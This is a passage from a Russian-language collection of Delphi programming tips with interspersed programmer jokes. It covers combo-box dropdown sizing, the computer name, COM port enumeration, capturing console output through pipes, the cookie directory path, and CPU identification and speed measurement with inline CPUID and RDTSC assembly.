Как узнать размеры TComboBox с показанным выпадающим списком до показа списка.

Программист после очень длительного сидения за компьютером выходит на улицу и смотрит на небо: - Боже, у Тебя тоже Windows стоит?!

На событии FormShow пошлите сообщение CB_SHOWDROPDOWN в ComboBox дважды - один раз чтобы заставить список выпасть, второй - чтобы убрать его. Затем пошлите сообщение CB_GETDROPPEDCONTROLRECT, передав в качестве параметра адрес TRect. TRect будет содержать экранные кординаты прямоугольника описывающего ComboBox вместе с выпавшим списком. Затем Вы можете вызвать ScreenToClient чтобы преобразовать экранные кординаты в координаты клиентской области окна.

var
  R: TRect;
procedure TForm1.FormShow(Sender: TObject);
var
  T: TPoint;
begin
  SendMessage(ComboBox1.Handle, CB_SHOWDROPDOWN, 1, 0);
  SendMessage(ComboBox1.Handle, CB_SHOWDROPDOWN, 0, 0);
  SendMessage(ComboBox1.Handle, CB_GETDROPPEDCONTROLRECT, 0,
  LongInt(@r));
  t := ScreenToClient(Point(r.Left, r.Top));
  r.Left := t.x;
  r.Top := t.y;
  t := ScreenToClient(Point(r.Right, r.Bottom));
  r.Right := t.x;
  r.Bottom := t.y;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  Form1.Canvas.Rectangle(r.Left, r.Top, r.Right, r.Bottom );
end;

Как узнать имя компьютера.

Статьи по Delphi (008)…
Приходит мужик в компьютерный салон: - Я у вас вчера компьютер прикупил... - У вас проблемы? - Сгорел он... - Нет проблем - он на гарантии. А что у вас сгорело? - Все! - Ну, так не бывает. Процесор цел? - Сгорел. - А винчестер? - Сгорел. - А память? - Сгорела. - А монитор? - Сгорел. - Господи! Что же вы с ним делали? - Да у меня пожар вчера был....

Чтобы узнать имя, идентифицирующее компьютер в сети, на котором запущена Ваша программа, можно воспользоваться следующей функцией:

uses Windows;
function GetComputerNetName: string;
var
  buffer: array[0..255] of char;
  size: dword;
begin
  size := 256;
  if GetComputerName(buffer, size) then
    Result := buffer
  else
    Result := ''
end;

Определяет наличие СОМ портов.

Автор: Михаил WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Определяет наличие СОМ портов
Данная процедура позволяет определить наличие доступных СОМ-портов.
Список добавлятся в ComboBox. После этого можно выбирать нужный порт.
Зависимости: Windows, Messages, SysUtils, Variants, Classes,
Graphics, Controls, Forms, Dialogs, ComCtrls
Автор:       Михаил, mikhail.sazonov@niitp.ru, Москва
Copyright:   Сазонов Михаил
Дата:        2 октября 2003 г.
***************************************************** }
unit SetComPort;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, dfsStatusBar, ExtCtrls, StdCtrls, ImgList, Buttons,
  ToolWin;
type
  TForm1 = class(TForm)
    StrNP: TRichEdit;
    dfsStatusBar1: TdfsStatusBar;
    ImageList1: TImageList;
    CoolBar1: TCoolBar;
    Panel1: TPanel;
    LoadNP: TBitBtn;
    Auto: TCheckBox;
    SetRegim: TRadioGroup;
    GroupBox1: TGroupBox;
    ComPort: TComboBox;
    BaudRate: TComboBox;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    Parity: TComboBox;
    ByteSize: TComboBox;
    StopBits: TComboBox;
    CloseItem: TBitBtn;
    procedure InquiryPort(Sender: TObject); {опрос существующих портов}
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure CloseItemClick(Sender: TObject);
    procedure ComPortChange(Sender: TObject);
    procedure BaudRateChange(Sender: TObject);
    procedure ParityChange(Sender: TObject);
    procedure ByteSizeChange(Sender: TObject);
    procedure StopBitsChange(Sender: TObject);
    procedure SetRegimClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    FHandl: THandle; {дескриптор порта}
    DCB: TDCB; {ссылка на структуру настройки порта}
    PortName: string; {имя порта, для дальнейшей работы}
  end;
var
  Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.InquiryPort(Sender: TObject);
var
  i: integer;
begin {опрос существующих портов}
  for i := 0 to 31 do {цикл опроса}
  begin {пробуем получить дескриптор порта}
    FHandl := CreateFile(PChar('COM' + IntToStr(i + 1)),
      GENERIC_READ or GENERIC_WRITE,
      0,
      nil,
      OPEN_EXISTING, FILE_FLAG_OVERLAPPED, 0);
    if FHandl <> INVALID_HANDLE_VALUE then {если порт есть то добавить в список}
      ComPort.Items.Add('COM' + IntToStr(i + 1));
    CloseHandle(FHandl); {закрыть дескриптор}
  end;
end;
..........

Как получить результат работы консольной программы.

- Чем отличается программист от сперматозоида? - У сперматозоида есть один шанс из 50000000 стать человеком.

Нужно использовать пайпы (CreatePipe), и работать с ними как с обычным файлом.

const
  H_IN_READ = 1;
  H_IN_WRITE = 2;
  H_OUT_READ = 3;
  H_OUT_WRITE = 4;
  H_ERR_READ = 5;
  H_ERR_WRITE = 6;
type
  TPipeHandles = array [1..6] of THandle;
var
  hPipes: TPipeHandles;
  ProcessInfo: TProcessInformation;
(************CREATE HIDDEN CONSOLE PROCESS************)
function CreateHiddenConsoleProcess(szChildName: string;
         ProcPriority: DWORD; ThreadPriority: integer): Boolean;
label
  error;
var
  fCreated: Boolean;
  si: TStartupInfo;
  sa: TSecurityAttributes;
begin
  // Initialize handles
  hPipes[ H_IN_READ ] := INVALID_HANDLE_VALUE;
  hPipes[ H_IN_WRITE ] := INVALID_HANDLE_VALUE;
  hPipes[ H_OUT_READ ] := INVALID_HANDLE_VALUE;
  hPipes[ H_OUT_WRITE ] := INVALID_HANDLE_VALUE;
  hPipes[ H_ERR_READ ] := INVALID_HANDLE_VALUE;
  hPipes[ H_ERR_WRITE ] := INVALID_HANDLE_VALUE;
  ProcessInfo.hProcess := INVALID_HANDLE_VALUE;
  ProcessInfo.hThread := INVALID_HANDLE_VALUE;
  // Create pipes
  // initialize security attributes for handle inheritance (for WinNT)
  sa.nLength := sizeof(sa);
  sa.bInheritHandle := TRUE;
  sa.lpSecurityDescriptor := nil;
  // create STDIN pipe
  if not CreatePipe( hPipes[ H_IN_READ ], hPipes[ H_IN_WRITE ], @sa, 0 ) then
    goto error;
  // create STDOUT pipe
  if not CreatePipe( hPipes[ H_OUT_READ ], hPipes[ H_OUT_WRITE ], @sa, 0 ) then
    goto error;
  // create STDERR pipe
  if not CreatePipe( hPipes[ H_ERR_READ ], hPipes[ H_ERR_WRITE ], @sa, 0 ) then
    goto error;
  // process startup information
  ZeroMemory(Pointer(@si), sizeof(si));
  si.cb := sizeof(si);
  si.dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
  si.wShowWindow := SW_HIDE;
  // assign "other" sides of pipes
  si.hStdInput := hPipes[ H_IN_READ ];
  si.hStdOutput := hPipes[ H_OUT_WRITE ];
  si.hStdError := hPipes[ H_ERR_WRITE ];
  // Create a child process
  try
    fCreated := CreateProcess( nil, PChar(szChildName), nil, nil, True,
    ProcPriority, // CREATE_SUSPENDED,
    nil, nil, si, ProcessInfo );
  except
    fCreated := False;
  end;
  if not fCreated then
    goto error;
  Result := True;
  CloseHandle(hPipes[ H_OUT_WRITE ]);
  CloseHandle(hPipes[ H_ERR_WRITE ]);
  // ResumeThread( pi.hThread );
  SetThreadPriority(ProcessInfo.hThread, ThreadPriority);
  CloseHandle( ProcessInfo.hThread );
  Exit;
  //-----------------------------------------------------
  error:
    ClosePipes( hPipes );
    CloseHandle( ProcessInfo.hProcess );
    CloseHandle( ProcessInfo.hThread );
    ProcessInfo.hProcess := INVALID_HANDLE_VALUE;
    ProcessInfo.hThread := INVALID_HANDLE_VALUE;
    Result := False;
end;

Узнать директорию Cookie.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

uses
   Registry;
 function GetDirectory: string;
 var
   reg : TRegistry;
 begin
   reg := TRegistry.Create;
   try
     reg.RootKey := HKEY_LOCAL_MACHINE;
     reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Special Paths\Cookies',
       False);
     Result := reg.ReadString('Directory');
   finally
     reg.Free;
   end;
 end;
 procedure TForm1.Button1Click(Sender : TObject);
 var
   s : string;
 begin
   S := GetDirectory;
   ShowMessage(GetDirectory);
 end;

Определение количества CPU.

Автор: Gua WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Определение количества CPU
Зависимости: Windows
Автор:       Gua, gua@ukr.net, ICQ:141585495, Simferopol
Copyright:   ©Gua
Дата:        15 июля 2002 г.
***************************************************** }
function GetCPUCount: byte;
var
  si: TSystemInfo;
begin
  GetSystemInfo(si);
  Result := si.dwNumberOfProcessors;
end;

Получение информации о процессоре.

Автор: Igor Popov
Встретились четыре компьютерщика, а бутылка ВОДКИ только одна. Мало! Долго недумая взяли и разогнали её до 400.

Если Вам необходимо не только "вычислить" частоту процессора, а и узнать о процессоре как можно больше, пожалуйста, пользуйтесь следующим модулем:

unit ExpandCPUInfo;
interface
type
TCPUInfo = packed record
IDString : array [0..11] of Char;
Stepping : Integer;
Model    : Integer;
Family   : Integer;
FPU,
VirtualModeExtensions,
DebuggingExtensions,
PageSizeExtensions,
TimeStampCounter,
K86ModelSpecificRegisters,
MachineCheckException,
CMPXCHG8B,
APIC,
MemoryTypeRangeRegisters,
GlobalPagingExtension,
ConditionalMoveInstruction,
MMX     : Boolean;
SYSCALLandSYSRET,
FPConditionalMoveInstruction,
AMD3DNow : Boolean;
CPUName : String;
end;
{информация об идентификации процессора}
function ExistCPUID:Boolean;
function CPUIDInfo(out info: TCPUInfo):Boolean;
{инф-я о технологии процессора}
function ExistMMX:Boolean;
function Exist3DNow:Boolean;
function ExistKNI:Boolean;
{------------------------}
procedure EMMS;
procedure FEMMS;
procedure PREFETCH(p: Pointer); register;
implementation
function ExistCPUID : Boolean;
asm
pushfd
pop eax
mov ebx, eax
xor eax, 00200000h
push eax
popfd
pushfd
pop ecx
mov eax,0
cmp ecx, ebx
jz @NO_CPUID
inc eax
@NO_CPUID:
end;
function CPUIDInfo(out info: TCPUIDInfo):Boolean;
function ExistExtendedCPUIDFunctions:Boolean;
asm
mov eax,080000000h
db $0F,$A2
end;
var
name : array [0..47] of Char;
p : Pointer;
begin
if ExistCPUID then asm
jmp @Start
@BitLoop:
mov al,dl
and al,1
mov [edi],al
shr edx,1
inc edi
loop @BitLoop
ret
@Start:
mov edi,info
mov eax,0
db $0F,$A2
mov [edi],ebx
mov [edi+4],edx
mov [edi+8],ecx
mov eax,1
db $0F,$A2
mov ebx,eax
and eax,0fh;
mov [edi+12],eax;
shr ebx,4
mov eax,ebx
and eax,0fh
mov [edi+12+4],eax
shr ebx,4
mov eax,ebx
and eax,0fh
mov [edi+12+8],eax
add edi,24
mov ecx,6
call @BitLoop
shr edx,1
mov ecx,3
call @BitLoop
shr edx,2
mov ecx,2
call @BitLoop
shr edx,1
mov ecx,1
call @BitLoop
shr edx,7
mov ecx,1
call @BitLoop
mov p,edi
end;
if (info.IDString = 'AuthenticAMD') and ExistExtendedCPUIDFunctions then begin
asm
mov edi,p
mov eax,080000001h
db $0F,$A2
mov eax,edx
shr eax,11
and al,1
mov [edi],al
mov eax,edx
shr eax,16
and al,1
mov [edi+1],al
mov eax,edx
shr eax,31
and al,1
mov [edi+2],al
lea edi,name
mov eax,0
mov [edi],eax
mov eax,080000000h
db $0F,$A2
cmp eax,080000004h
jl @NoString
mov eax,080000002h
db $0F,$A2
mov [edi],eax
mov [edi+4],ebx
mov [edi+8],ecx
mov [edi+12],edx
add edi,16
mov eax,080000003h
db $0F,$A2
mov [edi],eax
mov [edi+4],ebx
mov [edi+8],ecx
mov [edi+12],edx
add edi,16
mov eax,080000004h
db $0F,$A2
mov [edi],eax
mov [edi+4],ebx
mov [edi+8],ecx
mov [edi+12],edx
@NoString:
end;
info.CPUName:=name;
end else with info do begin
SYSCALLandSYSRET:=False;
FPConditionalMoveInstruction:=False;
AMD3DNow:=False;
CPUName:='';
end;
Result:=ExistCPUID;
end;
function ExistMMX:Boolean;
var
info : TCPUIDInfo;
begin
if CPUIDInfo(info) then
Result:=info.MMX
else
Result:=False;
end;
function Exist3DNow:Boolean;
var
info : TCPUIDInfo;
begin
if CPUIDInfo(info) then
Result:=info.AMD3DNow
else
Result:=False;
end;
function ExistKNI:Boolean;
begin
Result:=False;
end;
procedure EMMS;
asm
db $0F,$77
end;
procedure FEMMS;
asm
db $0F,$03
end;
procedure PREFETCH(p: Pointer); register;
asm
// PREFETCH byte ptr [eax]
end;
end.

Как определить скорость процессора.

Статьи по Delphi (008)…
На борту самолёта: "Здравствуйте, дамы и господа, говорит командир экипажа. Мы благодарим вас за то, что вы выбрали нашу авиакомпанию для первого полёта в первый день нового 2000 года. Мы находимся на высоте 3 тыс. футов, наша скорость... вау!... ох мля!... вот фак!... Извините за те неудобства, которые вы испытываете, находясь вниз головой, надеюсь все были пристёгнуты. Есть ли среди пассажиров на борту программист?"
function GetCPUSpeed: real;
function IsCPUID_Available: Boolean; assembler; register;
asm
  PUSHFD { прямой доступ к флагам невозможен, только через стек }
  POP EAX { флаги в EAX }
  MOV EDX,EAX { сохраняем текущие флаги }
  xor EAX,$200000 { бит ID не нужен }
  PUSH EAX { в стек }
  POPFD { из стека в флаги, без бита ID }
  PUSHFD { возвращаем в стек }
  POP EAX { обратно в EAX }
  xor EAX,EDX { проверяем, появился ли бит ID }
  JZ @exit { нет, CPUID не доступен }
  MOV AL,True { Result=True }
  @exit:
end;
function hasTSC: Boolean;
var
  Features: Longword;
begin
  asm
    MOV Features,0 { Features = 0 }
    PUSH EBX
    xor EAX,EAX
    DW $A20F
    POP EBX
    CMP EAX,$01
    JL @Fail
    xor EAX,EAX
    MOV EAX,$01
    PUSH EBX
    DW $A20F
    MOV Features,EDX
    POP EBX
    @Fail:
  end;
  hasTSC := (Features and $10) <> 0;
end;
const
  DELAY = 500;
var
  TimerHi, TimerLo: Integer;
  PriorityClass, Priority: Integer;
begin
  Result := 0;
  if not (IsCPUID_Available and hasTSC) then
    Exit;
  PriorityClass := GetPriorityClass(GetCurrentProcess);
  Priority := GetThreadPriority(GetCurrentThread);
  SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
  SetThreadPriority(GetCurrentThread,
  THREAD_PRIORITY_TIME_CRITICAL);
  SleepEx(10, FALSE);
  asm
    DB $0F { $0F31 op-code for RDTSC Pentium инструкции }
    DB $31 { возвращает 64-битное целое (Integer) }
    MOV TimerLo,EAX
    MOV TimerHi,EDX
  end;
  SleepEx(DELAY, FALSE);
  asm
    DB $0F { $0F31 op-code для RDTSC Pentium инструкции }
    DB $31 { возвращает 64-битное целое (Integer) }
    SUB EAX,TimerLo
    SBB EDX,TimerHi
    MOV TimerLo,EAX
    MOV TimerHi,EDX
  end;
  SetThreadPriority(GetCurrentThread, Priority);
  SetPriorityClass(GetCurrentProcess, PriorityClass);
  Result := TimerLo / (1000 * DELAY);
end;

Как определить скорость процессора 2.

program ....;
..
..
const
  ID_BIT = $200000; // EFLAGS ID bit
function GetCPUSpeed: Double;
const
  DelayTime = 500;
var
  TimerHi, TimerLo: DWORD;
  PriorityClass, Priority: Integer;
begin
  try
    PriorityClass := GetPriorityClass(GetCurrentProcess);
    Priority := GetThreadPriority(GetCurrentThread);
    SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
    SetThreadPriority(GetCurrentThread,THREAD_PRIORITY_TIME_CRITICAL);
    Sleep(10);
    asm
      dw 310Fh // rdtsc
      mov TimerLo, eax
      mov TimerHi, edx
    end;
    Sleep(DelayTime);
    asm
      dw 310Fh // rdtsc
      sub eax, TimerLo
      sbb edx, TimerHi
      mov TimerLo, eax
      mov TimerHi, edx
    end;
    SetThreadPriority(GetCurrentThread, Priority);
    SetPriorityClass(GetCurrentProcess, PriorityClass);
    Result := TimerLo / (1000.0 * DelayTime);
  except
  end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  cpuspeed: string;
begin
  cpuspeed := Format('%f MHz', [GetCPUSpeed]);
  edit1.text := cpuspeed;
end;

Как определить скорость процессора 3.

function RdTSC : int64; register;
asm
  db $0f, $31
end;
function GetCyclesPerSecond : int64;
var
  hF, T, et, sc : int64;
begin
  QueryPerformanceFrequency(hF); // HiTicks / second
  QueryPerformanceCounter(T); // Determine start HiTicks
  et := T + hF; // (Cycles are passing, but we can still USE them!)
  sc := RdTSC; // Get start cycles
  repeat // Use Hi Perf Timer to loop for 1 second
    QueryPerformanceCounter(T); // Check ticks NOW
  until (T >= et); // Break the moment we equal or exceed et
    Result := RdTSC - sc; // Get stop cycles and calculate result
end;

Как определить тип процессора.

Статьи по Delphi (008)…
Приходит мужик в компьютерный салон: - Я у вас вчера компьютер прикупил... - У вас проблемы? - Сгорел он... - Нет проблем, - он на гарантии. А что у вас сгорело? - Все! - Ну так не бывает. Процесор цел? - Сгорел. - А винчестер? - Сгорел. - А память? - Сгорела. - А монитор? - Сгорел. - Господи! Что же вы с ним делали? - Да у меня пожар вчера был.
unit CpuId;
interface
uses
  Windows, Mmsystem, Sysutils, Math, Dialogs;
type
  TCpuRec = record
  name: string[128];
  Vendor: string[12];
  Frequency: word;
  Family: integer;
  Model: integer;
  Stepping: integer;
  L1DCache: word;
  L1ICache: word;
  L2Cache: word;
end;
TCpuType = (cpu8086, cpu286, cpu386, cpu486, cpuPentium);
TCpuData = object
  function GetCPUIDSupport:Boolean;
  function GetVendorString:string;
  function GetCPUFrequency:word;
  procedure GetFMS(var Family,Model,Stepping:byte);
  function GetMaxCpuId:dword;
  function CheckFPU:Boolean;
  function CheckTSC:Boolean;
  function CheckMSR:Boolean;
  function CheckMPS:Boolean;
  function GetNoCpus:cardinal;
  function CheckPN:Boolean;
  function CheckCMPXCHG8B:Boolean;
  function CheckCMOVe:Boolean;
  function CheckSelfSnoop:Boolean;
  function CheckDebugTraceStore:Boolean;
  function CheckFXSAVEFXRSTOR:Boolean;
  function CheckMMX:Boolean;
  function CheckMMXplus:Boolean;
  function CheckSSE:Boolean;
  function CheckSSE2:Boolean;
  function CheckAMD3DNow:Boolean;
  function CheckAMD3DNowPlus:Boolean;
  function GetMaxExtendedFunctions:dword;
  procedure GetExtendedFMS(var Family,Model,Stepping:byte);
  function GetExtendedCpuName:string;
  function GetExtendedL1DCache:word;
  function GetExtendedL1ICache:word;
  function GetExtendedL2Cache:word;
  function CheckCeleron:Boolean;
  function CheckPentiumIII:Boolean;
  function CheckXeon:Boolean;
  function CheckPentium4:Boolean;
  function CheckIthanium:Boolean;
  //****Aici am conrectat****
  function IntelP5N:string;
  function IntelP6N:string;
  //****Pana aici****
  function AMDK5N:string;
  function Cyrix686N:string;
  function GenericCpuN:string;
  function P5CacheL1DI:word;
  function P6CacheL1DI:word;
  function P6CacheL2:word;
  function AuthenticAMD:TCpuRec;
  function GenuineIntel:TCpuRec;
  function CyrixInstead:TCpuRec;
  function GenericCPU:TCpuRec;
end;
const
  Intel486:array[0..8] of string=
  ('Intel 486 DX',
  'Intel 486 DX',
  'Intel 486 SX',
  'Intel 486 DX2',
  'Intel 486 SL',
  'Intel 486 SX2',
  'Intel 486 DX2',
  'Intel 486 DX4',
  'Intel 486 DX4');
  UMC486:array[0..1] of string=
  ('UMC U5D',
  'UMC U5S');
  AMD486:array[0..5] of string=
  ('AMD 486 DX2',
  'AMD 486 DX2',
  'AMD 486 DX4',
  'AMD 486 DX4',
  'AMD 5x86',
  'AMD 5x86');
  IntelP5:array[0..6] of string=
  ('Intel Pentium P5 A-Step',
  'Intel Pentium P5',
  'Intel Pentium P54C',
  'Intel Pentium P24T Overdrive',
  'Intel Pentium MMX P55C',
  'Intel Pentium P54C',
  'Intel Pentium MMX P55C');
  NexGenNx586='NexGen Nx586';
  Cyrix4x86='VIA Cyrix 4x86';
  Cyrix5x86='VIA Cyrix 5x86';
  CyrixMediaGX='VIA Cyrix Media GX';
  CyrixM1='VIA Cyrix 6x86';
  CyrixM2='VIA Cyrix 6x86MX';
  CyrixIII='VIA Cyrix III';
  AMDK5:array[0..3] of string=
  ('AMD SSA5 (PR75/PR90/PR100)',
  'AMD 5k86 (PR120/PR133)',
  'AMD 5k86 (PR166)',
  'AMD 5k86 (PR200)');
  AMDK6:array[0..4] of string=
  ('AMD K6 (166~233)',
  'AMD K6 (266~300)',
  'AMD K6-2',
  'AMD K6-III',
  'AMD K6-2+ or K6-III+');
  Centaur:array[0..2] of string=
  ('Centaur C6',
  'Centaur C2',
  'Centaur C3');
  Rise:array[0..1] of string=
  ('Rise mP6',
  'Rise mP6');
  IntelP6:array[0..7] of string=
  ('Intel Pentium Pro A-Step',
  'Intel Pentium Pro',
  'Intel Pentium II',
  'Intel Pentium II',
  'Intel Pentium II',
  'Intel Pentium III',
  'Intel Pentium III',
  'Intel Pentium III');
  AMDK7:array[0..3] of string=
  ('AMD Athlon(tm) Processor',
  'AMD Athlon(tm) Processor',
  'AMD Duron(tm) Processor',
  'AMD Thunderbird Processor');
  IntelP4='Intel Pentium 4';
var
  CpuData: TCpuData;
implementation
function TCpuData.GetCPUIDSupport: Boolean;
var
  TempDetect: dword;
begin
  asm
    pushf
    pushfd
    push eax
    push ebx
    push ecx
    push edx
    pushfd
    pop eax
    mov ebx,eax
    xor eax,$00200000
    push eax
    popfd
    pushfd
    pop eax
    push ebx
    popfd
    xor eax,ebx
    mov TempDetect,eax
    pop edx
    pop ecx
    pop ebx
    pop eax
    popfd
    popf
  end;
  GetCPUIDSupport:=(TempDetect=$00200000);
end;
function TCpuData.GetVendorString:string;
var
  s1, s2, s3: array [0..3] of char;
  TempVendor: string;
  i: integer;
begin
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,0
    db $0F,$A2 /// cpuid
    mov s1,ebx
    mov s2,edx
    mov s3,ecx
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  TempVendor:='';
  for i:=0 to 3 do
    TempVendor:=TempVendor+s1[i];
  for i:=0 to 3 do
    TempVendor:=TempVendor+s2[i];
  for i:=0 to 3 do
    TempVendor:=TempVendor+s3[i];
  GetVendorString:=TempVendor;
end;
function TCpuData.GetCPUFrequency: word;
var
  TimeStart: integer;
  TimeStop: integer;
  StartTicks: dword;
  EndTicks: dword;
  TotalTicks: dword;
  cpuSpeed: dword;
  NeverExit: Boolean;
begin
  TimeStart:=0;
  TimeStop:=0;
  StartTicks:=0;
  EndTicks:=0;
  TotalTicks:=0;
  cpuSpeed:=0;
  NeverExit:=True;
  TimeStart:=timeGetTime;
  while NeverExit do
  begin
    TimeStop:=timeGetTime;
    if ((TimeStop-TimeStart)>1) then
    begin
      asm
        xor eax,eax
        xor ebx,ebx
        xor ecx,ecx
        xor edx,edx
        db $0F,$A2 /// cpuid
        db $0F,$31 /// rdtsc
        mov StartTicks,eax
      end;
      Break;
    end;
  end;
  TimeStart:=TimeStop;
  while NeverExit do
  begin
    TimeStop:=timeGetTime;
    if ((TimeStop-TimeStart)>1000) then
    begin
      asm
        xor eax,eax
        xor ebx,ebx
        xor ecx,ecx
        xor edx,edx
        db $0F,$A2 /// cpuid
        db $0F,$31 /// rdtsc
        mov EndTicks,eax
      end;
      Break;
    end;
  end;
  TotalTicks:=EndTicks-StartTicks;
  cpuSpeed:=TotalTicks div 1000000;
  GetCPUFrequency:=cpuSpeed;
end;
procedure TCpuData.GetFMS(var Family,Model,Stepping:byte);
var
  TempFlags: dword;
  BinFlags: array [0..31] of byte;
  i, pos: integer;
begin
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,1
    db $0F,$A2 /// cpuid
    mov TempFlags,eax
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  for i:=0 to 31 do
  begin
    BinFlags[i]:=TempFlags mod 2;
    TempFlags:=TempFlags div 2;
  end;
  family:=0;
  model:=0;
  stepping:=0;
  pos:=0;
  for i:=0 to 3 do
  begin
    stepping:=stepping+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
    inc(pos);
  end;
  pos:=4;
  for i:=0 to 3 do
  begin
    model:=model+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
    inc(pos);
  end;
  pos:=8;
  for i:=0 to 3 do
  begin
    family:=family+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
    inc(pos);
  end;
end;
function TCpuData.GetMaxCpuId:dword;
var
  TempMax: dword;
begin
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,0
    db $0F,$A2 /// cpuid
    mov TempMax,eax
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  GetMaxCpuId:=TempMax;
end;
function TCpuData.CheckFPU: Boolean;
label
  NoFpu;
var
  TempCheck: dword;
begin
  TempCheck:=1;
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,1
    db $0F,$A2 /// cpuid
    test edx,$1
    jz NoFpu
    mov edx,0
    mov TempCheck,edx
    NoFpu:
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  CheckFpu:=(TempCheck=0);
end;
function TCpuData.CheckTSC: Boolean;
label
  NoTSC;
var
  TempCheck: dword;
begin
  TempCheck:=1;
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,1
    db $0F,$A2 /// cpuid
    test edx,$10
    jz NoTSC
    mov edx,0
    mov TempCheck,edx
    NoTSC:
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  CheckTSC:=(TempCheck=0);
end;
function TCpuData.CheckMSR: Boolean;
label
  NoMSR;
var
  TempCheck: dword;
begin
  TempCheck:=1;
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,1
    db $0F,$A2 /// cpuid
    test edx,$20
    jz NoMSR
    mov edx,0
    mov TempCheck,edx
    NoMSR:
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  CheckMSR:=(TempCheck=0);
end;
function TCpuData.CheckMPS: Boolean;
var
  SysInfo: TSystemInfo;
begin
  GetSysTemInfo(SysInfo);
  CheckMPS:=(SysInfo.dwNumberOfProcessors>1);
end;
function TCpuData.GetNoCpus:cardinal;
var
  SysInfo: TSystemInfo;
begin
  GetSystemInfo(SysInfo);
  GetNoCpus:=SysInfo.dwNumberOfProcessors;
end;
function TCpuData.CheckPN:Boolean;
label
  NoPN;
var
  TempCheck: dword;
begin
  TempCheck:=1;
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,1
    db $0F,$A2 /// cpuid
    test edx,$40000
    jz NoPN
    mov edx,0
    mov TempCheck,edx
    NoPN:
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  CheckPN:=(TempCheck=0);
end;
function TCpuData.CheckCMPXCHG8B:Boolean;
label
  NoCMPXCHG8B;
var
  TempCheck: dword;
begin
  TempCheck:=1;
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,1
    db $0F,$A2 /// cpuid
    test edx,$100
    jz NoCMPXCHG8B
    mov edx,0
    mov TempCheck,edx
    NoCMPXCHG8B:
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  CheckCMPXCHG8B:=(TempCheck=0);
end;
function TCpuData.CheckCMOVe: Boolean;
label
  NoCMOVe;
var
  TempCheck: dword;
begin
  TempCheck:=1;
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,1
    db $0F,$A2 /// cpuid
    test edx,$8000
    jz NoCMOVe
    mov edx,0
    mov TempCheck,edx
    NoCMOVe:
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  CheckCMOVe:=(TempCheck=0);
end;
function TCpuData.CheckSelfSnoop: Boolean;
label
  NoSelfSnoop;
var
  TempCheck: dword;
begin
  TempCheck:=1;
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,1
    db $0F,$A2 /// cpuid
    test edx,$8000000
    jz NoSelfSnoop
    mov edx,0
    mov TempCheck,edx
    NoSelfSnoop:
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  CheckSelfSnoop:=(TempCheck=0);
end;
function TCpuData.CheckDebugTraceStore: Boolean;
label
  NoDebugTraceStore;
var
  TempCheck: dword;
begin
  TempCheck:=1;
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,1
    db $0F,$A2 /// cpuid
    test edx,$200000
    jz NoDebugTraceStore
    mov edx,0
    mov TempCheck,edx
    NoDebugTraceStore:
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  CheckDebugTraceStore:=(TempCheck=0);
end;
function TCpuData.CheckFXSAVEFXRSTOR: Boolean;
label
  NoFXSAVEFXRSTOR;
var
  TempCheck: dword;
begin
  TempCheck:=1;
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,1
    db $0F,$A2 /// cpuid
    test edx,$1000000
    jz NoFXSAVEFXRSTOR
    mov edx,0
    mov TempCheck,edx
    NoFXSAVEFXRSTOR:
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  CheckFXSAVEFXRSTOR:=(TempCheck=0);
end;
function TCpuData.CheckMMX: Boolean;
label
  NoMMX;
var
  TempCheck: dword;
begin
  TempCheck:=1;
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,1
    db $0F,$A2 /// cpuid
    test edx,$800000
    jz NoMMX
    mov edx,0
    mov TempCheck,edx
    NoMMX:
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  CheckMMX:=(TempCheck=0);
end;
function TCpuData.CheckMMXplus: Boolean;
label
  NoMMXplus;
var
  TempCheck: dword;
begin
  TempCheck:=1;
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,$80000001
    mov ebx,0
    mov ecx,0
    mov edx,0
    db $0F,$A2 /// cpuid
    test edx,$400000
    jz NoMMXplus
    mov edx,0
    mov TempCheck,edx
    NoMMXplus:
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  CheckMMXplus:=(TempCheck=0);
